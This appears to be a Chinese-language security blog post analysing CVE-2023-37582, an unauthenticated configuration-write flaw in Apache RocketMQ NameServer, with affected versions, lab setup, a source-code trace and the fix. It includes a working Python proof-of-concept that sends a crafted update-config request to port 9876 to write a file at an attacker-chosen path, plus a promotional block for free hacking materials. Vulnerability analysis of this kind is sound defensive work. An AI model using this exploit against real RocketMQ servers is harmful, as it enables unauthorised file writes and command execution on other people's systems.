天天看點

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

作者:iHacking
Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

漏洞簡介

Apache RocketMQ是一款低延遲、高并發、高可用、高可靠的分布式消息中間件。CVE-2023-37582 中,由于對 CVE-2023-33246 修複不完善,導緻在Apache RocketMQ NameServer 存在未授權通路的情況下,攻擊者可構造惡意請求以RocketMQ運作的系統使用者身份執行指令。

影響版本

Apache RocketMQ <= 5.1.1 Apache RocketMQ <= 4.9.6

環境搭建

參考 Apache RocketMQ 遠端代碼執行漏洞 CVE-2023-33246 的環境搭建

還是為了友善進行調試,我們再 linux 下搭建 RocketMQ 的相關服務,利用源碼啟動

一共需要運作兩個服務

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup           

先啟動 NamesrvStartup,再啟動 BrokerStartup 同時都需要配置環境變量 ROCKETMQ_HOME ROCKETMQ_HOME\=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

漏洞複現

運作 python 腳本

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',9876))

# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一個位元組是2個十六進制數
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)           
Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

成功在 tmp 目錄下的 test.txt 檔案中寫入指定字元串 test

【----幫助網安學習,需要網安學習資料關注我,私信回複“資料”免費擷取----】

① 網安學習成長路徑思維導圖

② 60+網安經典常用工具包

③ 100+SRC漏洞分析報告

④ 150+網安攻防實戰技術電子書

⑤ 最權威CISSP 認證考試指南+題庫

⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集(含答案)

⑧ APP用戶端安全檢測指南(安卓+IOS)

漏洞分析

org/apache/rocketmq/remoting/protocol/RequestCode.java​ code 代表調用不同的功能,此時調用的是318 更新配置的操作

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java​

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

根據對應的 code 會調用 對應的函數進行處理

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java​

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig​

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

​​src/main/java/org/apache/rocketmq/remoting/Configuration.java#update​

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

​​

首先判斷是不是屬于可控的屬性

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist​

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

​src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath​

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

調用 getStorePath​ 擷取檔案路徑,此時擷取的值是 configStorePath 的值

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File​

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

​​src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe​

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

​​src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile​

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)

漏洞修複

修改禁用修改配置路徑的參數

Apache RocketMQ 遠端代碼執行漏洞(CVE-2023-37582)